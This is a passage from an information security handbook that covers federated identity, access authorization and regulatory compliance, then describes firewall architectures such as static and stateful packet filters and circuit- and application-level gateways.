Federated Identity Management To do business in an online world electronically or further to exploit the productivity and financial gains associated with doing business on the Web with customer-facing portals and online transaction systems, an organization must be able to quickly grant access and the process must be as transparent and as easy as possible. Access should further be self-service, and user IDs, passwords, and other access rights must be easily managed internally and externally. External access typically comes from nonemployees, such as customers, vendors, contractors, business partners, or suppliers. Organizations are challenged to maintain the security and integrity of their internal systems, while enabling external applications access into their internal trusted network. The challenge then becomes one of how an organization can authenticate users outside their own domain and across business boundaries to another organization. In order to capitalize on the business potential afforded by doing business across boundaries, organizations must be able to trust the electronic identities that access their Web-based applications across the Internet. In business partnerships, applications may be shared across organizations that are in no other way connected, such as in the case of supplier networks for government contractors. Users must be able to navigate and move easily from application to application across domains. One way to do this is through federated identity management, which allows sharing trusted identities across the boundaries of the corporate network — with business partners, autonomous business units, and remote offices. Another example of a federated identity solution is a sales application that enables external users to log-in from an external-facing portal and easily navigate and click on links that lead to new product information at another hosted site or partner site without having to reauthenticate. In this scenario, business partners must be able to trust the identity of an externally hosted federated identity management provider. An accepted definition of federated identity is “the agreements, standards, and technologies that make identity and entitlements portable across autonomous domains.” Federated identity is analogous to a driver’s license, where one state provides individuals with a credential that is trusted and accepted as proof of identity by other states. In the online world, this trust is established through a combination of two technologies that prove identity — strong authentication and access management — and the business and legal agreements that enterprises enter into to establish mutual responsibility and commitment concerning the sharing of trusted identities. The end result is that users can benefit from secure SSO access to multiple Web and non-Web applications and network resources, both internal and external to their own organization. Federated environments facilitate secure collaborations across external networks among business partners, thus enhancing productivity and facilitating partnerships and agreements that otherwise could not happen in a closed networking environment or outside of established trust mechanisms. The federated identity provides and passes on details about the user, such as job title, company affiliation, and level of purchasing authority. These “attributes” travel with a user’s identity and can be selectively exposed based on the user’s preferences and the needs of participating organizations. The challenge for a federated identity is to provide access while simultaneously protecting the privacy of the user. Because these identities are authenticated across and among external “domains of trust,” business partners are assured that their enterprise resources are protected from unauthorized users. The benefits to users include increased convenience and productivity, broader access to information and services, and control over what personal information is shared and with whom.
Authorization Following a successful implementation of IM including authentication, password management, password management self-service, and workflow, organizations will want to move into centralized or decentralized authorization and access control, or role-based access control (RBAC). This function is supported by product suites providing identity and access management. The functionality builds from the central baseline module core to most products and utilizes the central database and interfaces to central directory
64
Information Security Management Handbook
services such as LDAP or Microsoft Active Directory (AD), with real-time interfaces to human resources (HR) systems for implementing new access, managing access requirements change (organizational changes), and, most importantly, immediate revocation when users are terminated. Authorization is based on the need to know or minimal access based on the user’s role within the organization. It enables synchronization across the enterprise and the storing of not just a user’s identity within a central data store but also the assignment of a role or a group within the organization, granting access to information, transactions, privileges, and capabilities across the enterprise. This is particularly important with regard to the instant removal of perimeter access and managing employee terminations, contractors, and disgruntled employees. Supporting processes must be automated to the extent possible and integrated with other HR, IT, and business processes, manual and electronic. It is also important to implement checks and balances in the form of reports and cross-checking. Solutions should be centrally managed and decentralized to accommodate local area networks (LANs) and distributed one-off applications.
Laws and Regulations Faced with a long and growing list of regulations affecting IT security, most organizations currently rank compliance among their top concerns. In a recent survey of 250 security executives — conducted for RSA by an independent firm — a large percentage of respondents said regulatory compliance had a greater impact on their company’s awareness of security issues than actual security threats such as viruses, hacking, and identity theft. The new legislation and regulations hold organizations accountable for protecting the confidentiality and privacy of personal information entrusted to them by customers and business partners. Other measures require companies to document financial decisions and transactions, including who took part in related online activities. Still other directives govern the use of digital signatures as valid and binding substitutes for handwritten signatures, thereby eliminating paperwork and maintaining end-toend electronic processes. More laws and regulations are being passed all the time, and the existing ones continue to evolve. Legal experts predict another decade of expanding, evolving, and fine-tuning of laws and regulations regarding the protection of information, customer and personal privacy, and accounting and financial practices, as well as other requirements for information security, protection, and privacy. While most laws do not specify the technologies that should be used to achieve compliance — preferring instead that organizations identify and adopt best practices themselves — it is becoming increasingly clear that IM/IAM solutions provide a strong foundation for supporting compliance goals. The primary applicable laws and regulations driving the need for IM are discussed later in this chapter. These laws and regulations are forcing companies to invest heavily in information security and privacy solutions, particularly IM and IAM. Below are some definitions of the common legislation and regulation referenced in this chapter. • Health Insurance Portability and Accountability Act (HIPAA) — This broad legislation establishes privacy and security standards designed to protect patient identities and sensitive health and treatment information. • Gramm–Leach-Bliley — This legislation applies to financial services firms operating in the United States and is designed to protect consumers’ financial information from unauthorized access. • Sarbanes–Oxley Act (SOX) — This legislation applies to all public companies in the United States; the Act sets forth auditing standards designed to ensure the integrity of the IT systems of publicly traded companies. • U.S. Patriot Act Customer Identification Program — This program requires financial services firms operating in the United States to obtain, verify, and record information that identifies each individual or entity opening an account. As a general guidance, security organizations should meet compliance needs by first documenting their security processes and controls using the ISO 17799 standard to baseline security best practices. Then, they must invest in four critical activities that align enterprise security needs and regulatory requirements:
Identity Management: Benefits and Challenges
65
• Enhance segregation of duties with identity and access management (IAM). • Improve configuration and change management of regulated systems using security and configuration management tools. • Increase activity auditing on key databases and applications, especially related to user access. • Improve data security for personal information through encryption and content monitoring and filtering.
Avoid Regulatory Distraction Regulatory compliance is mandatory, but companies should not allow it to derail their core security programs. Most organizations are using regulatory pressure to fund needed security projects and integrate security more tightly with business units. It is the excuse security professionals have been waiting for to force business integration. However, some organizations are distracted by reporting, ongoing audits, and putting out the fires of remediation. It is important for these companies to focus on getting secure first, then worry about showing that the organization is secure. Protect customer data and then document it. Most of the current regulatory burden is the result of increased reporting requirements and audit activities, particularly due to Sarbanes–Oxley, Section 404, and its extensive documentation and audits. In the case of a control deficiency, the company’s CEO will not go to jail under Sarbanes–Oxley unless he or she perpetuated fraud by trying to cover up the problem. Compliance changes priorities, but it should not reduce security. Security departments need to manage compliance reporting and remediation without losing focus on top security concerns. Not all auditors are experienced in IT and may make unreasonable requests, which should be discussed with their management. Company management should be notified when generating compliance reports interferes with core security operations and could hurt the business. Not every enterprise should implement all facets of a complete IM solution, such as self-service password reset, user provisioning, extranet access management, single sign-on, directory consolidation, and role management. The IM project team should be armed with the necessary facts by gathering the metrics that justify investment in and phasing implementation of the project. Compliance with enterprise policies, as well as with regulations such as the Gramm–Leach–Bliley Financial Services Modernization Act of 1999, the U.S. Health Insurance Portability and Accountability Act (HIPAA), and the U.S. Public Company Accounting Reform and Investor Protection Act of 2002 (Sarbanes–Oxley), is bringing identity management practices to the forefront of many enterprises’ information security agendas. Privacy enforcement, separation of duties, and need-to-know access policies are at the center of these regulations, although these are access-control best practices and are not considered to be new requirements for a mature information security program. Another information security program best practice is to have a security administration review process that requires the production access-control infrastructure be reviewed quarterly, semiannually, or annually; therefore, companies should review their access-control policies to ensure that they have the appropriate policies (for example, users must be uniquely identified to enterprise IT resources) and to determine the values (such as 30, 90, or 180 days) for policy compliance metrics (for example, passwords that allow access to confidential information or applications that can affect the financial position of the enterprise must be changed every 30 days).
Privacy and Fraud To add further complexity, the more extensive capture and use of identity information required for electronic authentication also raises customer privacy concerns. Gartner believes that new customer authentication requirements will continue to generate federal laws and regulations regarding new unanticipated risks for businesses. These risks include not only direct hits to an enterprise’s bottom line, if the enterprise miscalculates the appropriate level of authentication required for new applications, but also a legal liability if certain customer identity information has not been adequately protected or if its
66
Information Security Management Handbook
use has not been authorized. Perhaps the biggest obstacles for enterprises are those that are most difficult to quantify: winning the confidence of customers so they share their identity information and engage in the significant types of transactions that harness the potential of E-business and make the online experience convenient enough to keep customers coming back. Consumer mistrust contributes to the ongoing pursuit of IM solutions and infrastructures for organizations. While the growth tends to be slow and cautious, it continues to gain momentum throughout the industry. The technology is complex in that it must operate across large complex heterogeneous domains, but the implementation itself is also complex, for many reasons. Organizations typically fight against centralized corporate control. Separate business units within an entity or even further distributed administrative groups serving up a small application will not be able to establish an ROI for joining the enterprisewide IM infrastructure. Many organizations have established either a wait-and-see attitude or a proceed slowly approach to IM/IAM. Using IM for compliance to laws and regulations can establish consumer confidence and serve as a marketing and sales benefit for enterprises that are early adopters or who have automated the tools necessary for a successful IM implementation. Everyone today is aware of ongoing media accounts of the loss of personal information that was in the hands of trusted business partners or even employees. The issue of identity and privacy theft will continue to be core to decisions regarding investments and moving to E-business and IM/IAM. In response to the growing online world, IM/IAM solutions must address the misuse of online identities to commit crimes. Weak and penetrable passwords offer the greatest risk for intrusion by impersonating legitimate users for the purpose of committing online crimes. Identity theft of information stored on corporate servers is a second area of vulnerability. Compromised confidential identity information has the potential to greatly harm an organization’s financial solvency, as well as its branding. Information in this category includes Social Security numbers, birth dates, credit card numbers, etc. The individual whose identity has been compromised may suffer financial losses, ruined credit, loss of professional reputation, or even arrest and conviction for crimes someone else has committed. For an enterprise, the direct and indirect costs of such security breaches may include exposure of high-value information and trade secrets, disruption of mission-critical business processes, adverse publicity, and the loss of customer and investor confidence.
The Concept and Value of Trust Relationships Enterprises must define customer identity protection standards, including how initial customer registration, verification, and enrollment should be conducted and how identity queries and issues should be handled. While password reset and identity verification are standard features of call center and contact center services, enterprises will need to reevaluate or include new customer identity management and protection procedures and training as new transactional capabilities and channels are introduced. Customer authentication and the collection, use, and access to customer identity information often occur outside the enterprise. Enterprises must ensure consistent authentication and customer identity protection standards for business affiliates that are responsible for part of the customer engagement or fulfillment process, as well as for other business partners and service providers. Enterprises should develop contracts that stipulate: • How authentication technologies and supporting processes should be implemented and maintained • How employees should or should not access applications and systems that contain customer identity information • How identity information can be used or disclosed • Noncompliance penalties Contractual agreements that create obligations for the confidentiality and protection of customer information with business partners and service providers are required under recent privacy legislation, such
Identity Management: Benefits and Challenges
67
as the Financial Modernization Act or HIPAA. Chains of trust can be created by ensuring that business partners and service providers adhere to authentication standards and the confidentiality of customer information via contracts. The integrity of the ongoing process with regard to other legislation and regulations, such as Sarbanes–Oxley, should be maintained by requiring business partners to provide SAS70 audit reports, at a minimum, annually.
ISO 17799 as a Baseline For information security, ISO 17799 is a recognized global standard for best practices. Although it is not perfect, it is an excellent tool for benchmarking security programs and evaluating them over time for regulatory compliance. It is not possible to officially certify against the current ISO 17799 type 1; however, any reputable security consultant or auditor can measure a company’s level of compliance and provide an official report. Type 2 provides certification but has not received final approval. Using ISO 17799 for internal self-audits allows a company to justify its choice of security policies to external auditors. Organizations with an effective security program should already be compliant with most, if not all, of ISO 17799. In some cases, they may have alternative security controls not included in the standard that provide equal or greater security. This is a good thing but nevertheless should be documented. Following security best practices and documenting and testing using ISO 17799 will allow a company to meet the majority of regulatory requirements for information security. IM/IAM covers many technologies related to user management, but two categories are most useful for compliance: User provisioning is used to document who has access to which systems and in what roles. Application-specific, role-based access control tools integrate with major applications such as SAP and dramatically enhance role analysis and access control enforcement. Although other areas of IM/IAM are useful and enhance information security, these two categories provide the most immediate compliance benefits while forming a foundation for future compliance needs. They help document rights with regard to systems which is useful for generating compliance reports and identifying segregation of duties. They can build audit logs of accesses and privilege changes, identify and disable inactive accounts, and adjust privileges and access as employees change job roles.
Audits and Monitoring While audits and monitoring are not recognized and advertised features of IM/IAM systems, the process certainly adds intrinsic value to security and compliance projects. Most laws and regulations require volumes of audit logs. This is a challenge for all organizations. It has been recognized and acknowledged for decades that process integrity can be demonstrated through the process of auditing and logging. Audits of security, administration, and system management functions will keenly scrutinize their audit and monitoring processes. Because the audit and monitoring process is fairly common to all security policies and programs, technologists, vendors, standards bodies, etc. have been working on this common challenge for some time. Many products and technologies are evolving for compliance and for good security practices. Because the IM/IAM project provides a centralized authoritative source for the granting of access and privileges, it is a perfect place to audit the overall process. It is not enough to just collect the logs; companies actually have to do something with them. They need to develop and document supporting processes and, for today’s emerging and evolving laws and regulations, must consider separation and segregation of duties; for example, your security administrator who is adding and managing accounts and user IDs should not be the one to audit reports of that process. Companies must also archive the logs and establish, document, and test a process for retrieval. This is particularly important for forensics and litigation purposes. Legal departments across industries are pondering this issue long and hard. What are the required retention periods for Sarbanes–Oxley? How about HIPAA? What about, in general, for compliance to internal security policies? What do the customers require? What is a company contractually obligated to do? What do the company’s business partners require? What are the company’s outsourcing partners obligated to provide? And the list of such questions continues.
68
Information Security Management Handbook
With new audit and logging requirements as the driver, it is no surprise that new products are emerging to help address the problem. Middleware products are available that integrate with storage technology to actually ensure that a user can find the proverbial needle-in-the-haystack e-mail message for discovery and litigation.
Conclusion Significant potential gains from implementing an enterprisewide centralized and decentralized IM/IAM project can be expected. Many of the benefits are directly related to cost savings and process improvements. An additional benefit of an IM/IAM implementation is the compliance gains achieved from an enterprise IM/IAM that is already compliant with ISO 17799, HIPAA, or Sarbanes–Oxley, for example. Each successive application or project does not have to solve this problem time and again. A challenge is to ensure that the IM/IAM implementation remains compliant over time. Of course, a company’s trusty auditors can help with that problem.
Domain 2 Telecommunications and Network Security
70
Information Security Management Handbook
This domain is the most volatile because of the radically evolving technical environment known as telecommunications and networking. It encompasses the structures, transmission methods, transport formats, and security measures used to ensure the integrity, availability, authentication, and confidentiality of transmissions over private and public communications networks and media. The network is the system. Today, little, if any, information stays sequestered in its own environment. Information has become omnipresent (i.e., it is everywhere) due in large part to our widely reaching networking technologies. Telecommunications and networking technologies allow for the timely transport of information, from corner to corner, across the country, or around the globe. Of course, as information traverses the wires, both within and outside of an organization, security risks increase. Network security focuses on the technical, policy, and process safeguards within an organization’s network and with regard to how it connects to other networks and the Internet. Because the majority of organizations today are connected in one way or another to the Internet, a primary focus of the handbook is on this still untamed environment.
Access Control Systems and Methodology
71
Contents Section 2.1
Communications and Network Security
6 An Examination of Firewall Architectures.................................................................................. 73 Paul A. Henry 7 The Five W’s and Designing a Secure, IdentityBased, Self-Defending Network (5W Network) ....................................................................... 119 Samuel W. Chun 8 Maintaining Network Security: Availability via Intelligent Agents......................................... 131 Robby Fussell 9 PBX Firewalls: Closing the Back Door...................................................................................... 139 William A. Yarberry, Jr.
Section 2.2
Internet, Intranet, Extranet Security
10 Voice over WLAN ....................................................................................................................... 145 Bill Lipiczky 11 Spam Wars: How To Deal with Junk E-Mail ............................................................................ 155 Al Bredenberg
Section 2.3
Network Attacks and Countermeasures
12 Auditing the Telephony System: Defenses against Communications Security Breaches and Toll Fraud................................................................ 161 William A. Yarberry, Jr.
This page intentionally left blank
6 An Examination of Firewall Architectures Paul A. Henry
Perspective When looking beyond denial of service (DoS) attacks, the Internet attack vector has clearly moved to the application layer. This shift has required vendors of commoditized “stateful packet filter”-based products to reinvent themselves with some form of application-layer product offerings. The long-running and often heated debate regarding firewall technologies — stateful filtering firewall versus application proxy firewall — is finally over, with application proxies emerging as the clear winner; however, stateful firewall vendors are not simply rolling over and admitting defeat. They are pushing their filtering technologies up the Open Systems Interconnection (OSI) model into the application layer, and a new debate has quickly emerged: application-layer filtering versus application proxies. Moore’s law has eliminated the historical trade-off between speed and security; current technology application proxy firewalls running on the new AMD 64-bit platforms are achieving proxy throughputs well above wire speed gigabit. The focus is now shifting from speed to granularity and application support. Enterprises are continuing to expand their use of the Internet and are adopting more Internet-based applications, with HTTP/S becoming the protocol of choice for encapsulating traffic for application deployment. Traditional gateway security technologies tend to cripple the functionality of these applications, and trade-offs between functionality and security are unfortunately becoming all too common for the security community at large. The issue does not pertain to only HTTP, as it extends to many other business applications. Most application proxies are really not as “application” aware as vendors claim they are. Most are really only protocol aware and are based solely on protocol RFC guidelines; that is, a proxy for Simple Mail Transfer Protocol (SMTP) based on RFC guidelines may do a fair job of securing Sendmail while at the same time it cripples Microsoft Exchange. While the Voice over Internet Protocol (VoIP) has not yet exploded as many had predicted, adoption is clearly moving forward. Most firewall vendors today offer some form of support for VoIP, but relatively few are doing anything more than dynamically opening the required ports to establish calls. Software to sniff VoIP conversations over SIP, H.323, Cisco’s Skinny Client Protocol, Real-Time Transport Protocol, and Real-Time Transport Control Protocol (RTCP) and convert them to standard Microsoft audiowave files is freely available on the Internet. Clearly, the enterprise does not yet fully recognize the security implications of VoIP, and security product vendors seem to be waiting for demand to increase before spending the research and development dollars for technologies to encapsulate and properly secure VoIP across the public Internet.
73
74
Information Security Management Handbook
OSI Model Application Proxy
Application Presentation
Circuit Gateway
TCP/IP Model
FTP
SMTP
Other
Session Transport
Packet Filter - SPF
Telnet
TCP
UDP
Network
IP
Data Link Ethernet
FDDI
X.25
Other
Physical
FIGURE 6.1 OSI versus TCP/IP model.
Last, as the enterprise tightens its gateway security to protect Internet-facing servers, hackers have been forced to look for alternate paths into secured networks. Remote users or partners with trusted Internet connectivity to the enterprise have emerged as more frequent points of attack which are used to bypass Internet gateway security measures, thereby offering the hacker a virtually unobstructed entry point into the enterprise. Core-to-edge security is no longer a luxury; it is a necessity for conducting business on today’s Internet.
Firewall Fundamentals: A Review The level of protection that any firewall is able to provide in securing a private network when connected to the public Internet is directly related to the architecture chosen for the firewall by the vendor. Generally speaking, most commercially available firewalls utilize one or more of the following firewall architectures: • • • • • • • • • •
Static packet filter Dynamic (stateful) packet filter Circuit-level gateway Application-level gateway (proxy) Stateful inspection Cutoff proxy (fast path) Air gap (historical perspective) Intrusion prevention Deep packet inspection Total stream protection
Network Security: A Matter of Balance Network security is simply the proper balance of trust and performance. All firewalls rely on the inspection of information generated by protocols that function at various layers of the OSI model, as shown in Figure 6.1. Knowing the OSI layer at which a firewall operates is one of the keys to understanding the different types of firewall architectures. Generally speaking, firewalls follow two known rules: • The higher up the OSI layer the architecture goes to examine the information within the packet, the more processor cycles the architecture consumes. • The higher up in the OSI layer at which an architecture examines packets, the greater the level of protection the architecture provides, because more information is available on which to base decisions.
75
An Examination of Firewall Architectures
Source Destination IP Address
Source Destination Port
IP Header
Application state and data flow
Payload
Application Level Header
Data
TCP Header
FIGURE 6.2 IP packet fields. Blts 4
1 Version
IHL
Time to Live
3
1 6
2 0
Type of Service
Identification
2 Words
8
2 4
3 1
Total Length Flags
Protocol
Fragmentation Offset Header Checksum
4
Source Address
5
Destination Address Options
6
2 8
Header
0
1 2
Padding
data begins here ...
FIGURE 6.3 IP header segment. Blts 4
1 6
Source Port
1
Words
1 2
8
2 0
2 4
Sequence Number
3
Acknowledgment Number Offset
5 6
Reserved
3 1
Destination Port
2
4
2 8
Flags
Checksum
Header
0
Window Urgent Pointer
Options
Padding
data begins here ...
FIGURE 6.4 TCP header segment.
Historically, there has always been a recognized trade-off in firewalls between the level of trust afforded and speed (throughput). Faster processors and the performance advantages of symmetric multiprocessing (SMP) have narrowed the performance gap between the traditional fast packet filters and high overheadconsuming proxy firewalls. One of the most important factors in any successful firewall deployment is who makes the trust–performance decisions: (1) the firewall vendor, by limiting the administrator’s choices of architectures, or (2) the administrator, in a robust firewall product that provides for multiple firewall architectures. When examining firewall architectures, the most important fields within the IP packet are (Figure 6.2): • • • •
IP header (Figure 6.3) Transmission Control Protocol (TCP) header (Figure 6.4) Application-level header Data–payload header
76
Information Security Management Handbook
OSI Model
Application Presentation Session Transport Network Data Link Physical
Network Interface External Network
Network Interface Internal Network
FIGURE 6.5 Static packet filter in the OSI model.
Static Packet Filter The packet-filtering firewall is one of the oldest firewall architectures. A static packet filter, as shown in Figure 6.5, operates at the network layer, or OSI layer three. The decision to accept or deny a packet is based on an examination of specific fields (Figure 6.6) within the packet’s IP and protocol headers: • • • • •
Source address Destination address Application or protocol Source port number Destination port number
Before forwarding a packet, the firewall compares the IP header and TCP header against a user-defined table (rules base), which contains the rules that dictate whether the firewall should deny or permit packets to pass. The rules are scanned in sequential order until the packet filter finds a specific rule that matches the criteria specified in the packet-filtering rule. If the packet filter does not find a rule that matches the packet, then it imposes a default rule. The default rule explicitly defined in the firewall table typically instructs the firewall to drop a packet that meets none of the other rules. The two schools of thought on the default rule used with the packet filter are (1) ease of use, and (2) security first. Ease-of-use proponents Source Destination IP Address IP Header
Source Destination Port
Application state and data flow
TCP Header
Packet Filter
FIGURE 6.6 Decision to accept or deny a packet.
Application Level Header
Data
An Examination of Firewall Architectures
77
prefer a default “allow all” rule that permits all traffic unless it is explicitly denied by a prior rule. Securityfirst proponents prefer a default “deny all” rule that denies all traffic unless explicitly allowed by a prior rule. Within the static packet filter rules database, the administrator can define rules that determine which packets are accepted and which packets are denied. The IP header information allows the administrator to write rules that can deny or permit packets to and from a specific IP address or range of IP addresses. The TCP header information allows the administrator to write service-specific rules (i.e., allow or deny packets to or from ports) related to specific services. The administrator can write rules that allow certain services such as HTTP from any IP address to view the Web pages on the protected Web server. The administrator can also write rules that block certain IP addresses or entire ranges of addresses from using the HTTP service and viewing the Web pages on the protected server. In the same respect, the administrator can write rules that allow certain services such as SMTP from a trusted IP address or range of IP addresses to access files on the protected mail server. The administrator could also write rules that block access for certain IP addresses or entire ranges of addresses to access the protected FTP server. The configuration of packet filter rules can be difficult as the rules are examined in sequential order. Great care must be taken in determining the order in which packet-filtering rules are entered into the rule base. Even if the administrator manages to create effective rules in the proper order of precedence, a packet filter has one inherent limitation: A packet filter only examines data in the IP header and TCP header; it cannot know the difference between a real and a forged address. If an address is present and meets the packet filter rules along with the other rule criteria, the packet will be allowed to pass. Suppose the administrator took the precaution to create a rule that instructed the packet filter to drop any incoming packets with unknown source addresses. This packet-filtering rule would make it more difficult but not impossible for a hacker to access at least some trusted servers with IP addresses. The hacker could simply substitute the actual source address on a malicious packet with the source address of a known trusted client. This common form of attack is called IP address spoofing. This form of attack is very effective against a packet filter. The Computer Emergency Response Team (CERT) Coordination Center has received numerous reports of IP spoofing attacks, many of which resulted in successful network intrusions. Although the performance of a packet filter can be attractive, this architecture alone is generally not secure enough to deter hackers determined to gain access to the protected network. Equally important is what the static packet filter does not examine. Remember that in the static packet filter only specific protocol headers are examined: (1) source–destination IP address, and (2) source– destination port numbers (services); thus, a hacker can hide malicious commands or data in unexamined headers. Further, because the static packet filter does not inspect the packet payload, the hacker has the opportunity to hide malicious commands or data within the packet’s payload. This attack methodology is often referred to as a covert channel attack and is becoming more popular. Finally, the static packet filter is not state aware. Simply put, the administrator must configure rules for both sides of the conversation to a protected server. To allow access to a protected Web server the administrator must create a rule that allows both the inbound request from the remote client as well as the outbound response from the protected Web server. Of further consideration is that many services such as FTP and e-mail servers in operation today require the use of dynamically allocated ports for responses so an administrator of a static packet-filtering firewall has little choice but to open up an entire range of ports with static packet-filtering rules. The pros and the cons of static packet filters are detailed in Table 6.1.
Dynamic (Stateful) Packet Filter The dynamic (stateful) packet filter is the next step in the evolution of the static packet filter. As such it shares many of the inherent limitations of the static packet filter with one important difference: state awareness. The typical dynamic packet filter, as shown in Figure 6.7, like the static packet filter, operates
78
Information Security Management Handbook
TABLE 6.1
Static Packet Filter Considerations Pros
Cons
Low impact on network performance. Low cost; now included with many operating systems.
Operates only at network layer; therefore, it only examines IP and TCP headers. Is unaware of packet payload; offers low level of security. Lacks state awareness; may require numerous ports to be left open to facilitate services that use dynamically allocated ports. Is susceptible to IP spoofing. Is difficult to create rules (order of precedence). Only provides for a low level of protection.
at the network layer, or OSI layer three. An advanced dynamic packet filter may operate up into the transport layer (OSI layer four) to collect additional state information. Most often the decision to accept or deny a packet is based on examination of the IP and protocol headers of the packet (Figure 6.8): • • • • •
Source address Destination address Application or protocol Source port number Destination port number
In simplest terms, the typical dynamic packet filter is aware of the difference between a new and an established connection. When a connection is established, it is entered into a table that typically resides in random access memory (RAM). Subsequent packets are compared to this table in RAM, most often by software running at the operating system (OS) kernel level. When the packet is found to be an existing connection, it is allowed to pass without any further inspection. By avoiding having to parse the packet filter rule base for each and every packet that enters the firewall and by performing this test at the kernel
OSI Model
Application Presentation Session Transport Network Data Link Physical
Network Interface External Network
FIGURE 6.7 Typical dynamic packet filter.
Network Interface Internal Network
79
An Examination of Firewall Architectures Source Destination IP Address IP Header
Source Destination Port TCP Header
Application state and data flow Application Level Header
Data
Packet Filter
FIGURE 6.8 Packet’s IP and protocol headers.
level in RAM for an already-established connection, the dynamic packet filter enables a measurable performance increase over a static packet filter. The two primary differences in dynamic packet filters found among firewall vendors are: • Support of SMP • Connection establishment In writing the firewall application to fully support SMP, the firewall vendor is afforded up to a 30 percent increase in dynamic packet filter performance for each additional processor in operation. Unfortunately, many implementations of dynamic packet filters in current firewall offerings operate as singlethreaded processes, which simply cannot take advantage of the benefits of SMP. Most often, to overcome the performance limitations of their single-threaded processes, these vendors require powerful and expensive Reduced Instruction Set Computer (RISC) processor-based servers to attain acceptable levels of performance. As available processor power has increased and multiprocessor servers have become widely utilized, this single-threaded limitation has become more visible. For example, vendor A running on an expensive RISC-based server offers only 150-Mbps dynamic packet-filter throughput, but vendor B running on an inexpensive off-the-shelf Intel multiprocessor server can attain dynamic packet-filtering throughputs of above 600 Mbps. Almost every vendor has its own proprietary methodology for building the connection table, but beyond the issues discussed above, the basic operation of the dynamic packet filter for the most part is essentially the same. In an effort to overcome the performance limitations imposed by their single-threaded, process-based dynamic packet filters, some vendors have taken dangerous shortcuts when establishing connections at the firewall. RFC guidelines recommend following the three-way handshake to establish a connection at the firewall. One popular vendor will open a new connection upon receipt of a single synchronization (SYN) packet, totally ignoring RFC recommendations. In effect, this exposes the servers behind the firewall to single-packet attacks from spoofed IP addresses. Hackers gain great advantage from anonymity. Hackers can be much more aggressive in mounting attacks if they can remain hidden. Similar to the example in the examination of a static packet filter, suppose the administrator took the precaution to create a rule that instructed the packet filter to drop any incoming packets with unknown source addresses. This packet-filtering rule would make it more difficult but, again, not impossible for a hacker to access at least some trusted servers with IP addresses. The hacker could simply substitute the actual source address on a malicious packet with the source address of a known trusted client. In this attack methodology, the hacker assumes the IP address of the trusted host and must communicate through the three-way handshake to establish the connection before mounting an assault. This provides additional traffic that can be used to trace back to the hacker. When the firewall vendor fails to follow RFC recommendations in the establishment of the connection and opens a connection without the three-way handshake, a hacker can simply spoof the trusted host address and fire any of the many well-known single-packet attacks at the firewall or servers protected by the firewall while maintaining complete anonymity. One presumes that administrators are unaware that their popular firewall products operate in this manner; otherwise, it would be surprising that so many have found this practice acceptable following the many historical well-known single-packet attacks, such as LAND, Ping of Death, and Tear Drop, which have plagued administrators in the past. The pros and the cons of dynamic packet filters are shown in Table 6.2.
80
Information Security Management Handbook
TABLE 6.2
Dynamic Packet Filter Considerations Pros
Cons
Lowest impact of all examined architectures on network performance when designed to be fully SMP compliant. Low cost; now included with some operating systems. State awareness provides measurable performance benefit.
Operates only at network layer; therefore, it only examines IP and TCP headers. Is unaware of packet payload; offers low level of security. Is susceptible to IP spoofing. Is difficult to create rules (order of precedence). Can introduce additional risk if connections can be established without following the RFC-recommended three-way handshake. Only provides for a low level of protection.
Circuit-Level Gateway The circuit-level gateway operates at the session layer, or OSI layer five (Figure 6.9). In many respects, a circuit-level gateway is simply an extension of a packet filter in that it typically performs basic packet filter operations and then adds verification of proper handshaking and the legitimacy of the sequence numbers used to establish the connection. The circuit-level gateway examines and validates TCP and User Datagram Protocol (UDP) sessions before opening a connection, or circuit, through the firewall. Hence, the circuitlevel gateway has more data to act upon than a standard static or dynamic packet filter. Most often the decision to accept or deny a packet is based on examining the IP header and TCP header of the packet (Figure 6.10): • • • • • •
Source address Destination address Application or protocol Source port number Destination port number Handshaking and sequence numbers OSI Model
Application Presentation Session Transport Network Data Link Physical
Network Interface External Network
FIGURE 6.9 The circuit-level gateway at the session layer.
Network Interface Internal Network
81
An Examination of Firewall Architectures Source Destination IP Address
Source Destination Port
IP Header
Application state and data flow
TCP Header
Application Level Header
Data
Circuit-Level Gateway
FIGURE 6.10 Packet’s IP header and TCP header.
Similar to a packet filter, before forwarding the packet a circuit-level gateway compares the IP header and TCP header against a user-defined table containing the rules that dictate whether the firewall should deny or permit packets to pass. The circuit-level gateway then determines that a requested session is legitimate only if the SYN flags, acknowledgment (ACK) flags, and sequence numbers involved in the TCP handshaking between the trusted client and the untrusted host are logical. If the session is legitimate, the packet filter rules are scanned until one that agrees with the information in the full association of a packet is found. If the packet filter does not find a rule that applies to the packet, then it imposes a default rule. The default rule explicitly defined in the firewall table typically instructs the firewall to drop a packet that meets none of the other rules. The circuit-level gateway is literally a step up from a packet filter in the level of security it provides. Further, like a packet filter operating at a low level in the OSI model, it has little impact on network performance. However, when a circuit-level gateway establishes a connection, any application can run across that connection because a circuit-level gateway filters packets only at the session and network layers of the OSI model. In other words, a circuit-level gateway cannot examine the data content of the packets it relays between a trusted network and an untrusted network. The potential exists to slip harmful packets through a circuit-level gateway to a server behind the firewall. The pros and the cons of circuitlevel gateways are shown in Table 6.3.
Application-Level Gateway Like a circuit-level gateway, an application-level gateway intercepts incoming and outgoing packets, runs proxies that copy and forward information across the gateway, and functions as a proxy server, preventing any direct connection between a trusted server or client and an untrusted host. The proxies that an application-level gateway runs often differ in two important ways from the circuit-level gateway: • The proxies are application specific. • The proxies examine the entire packet and can filter packets at the application layer of the OSI model, as shown in Figure 6.11.
Unlike the circuit gateway, the application-level gateway accepts only packets generated by services they are designed to copy, forward, and filter. For example, only an HTTP proxy can copy, forward, and filter HTTP traffic. If a network relies only on an application-level gateway, incoming and outgoing packets cannot access services for which no proxy exists. If an application-level gateway ran FTP and HTTP proxies, only packets generated by these services could pass through the firewall. All other services would be blocked. TABLE 6.3
Circuit-Level Gateway Considerations Pros
Cons
Low to moderate impact on network performance. Breaks direct connection to server behind firewall. Higher level of security than a static or dynamic (stateful) packet filter.
Shares many of the same negative issues associated with packet filters. Allows any data to simply pass through the connection. Only provides for a low to moderate level of security.
82
Information Security Management Handbook
OSI Model Proxy Application ? Application Presentation Session Transport Network Data Link Physical
Network Interface External Network
Network Interface Internal Network
FIGURE 6.11 Filtering packets at the application layer.
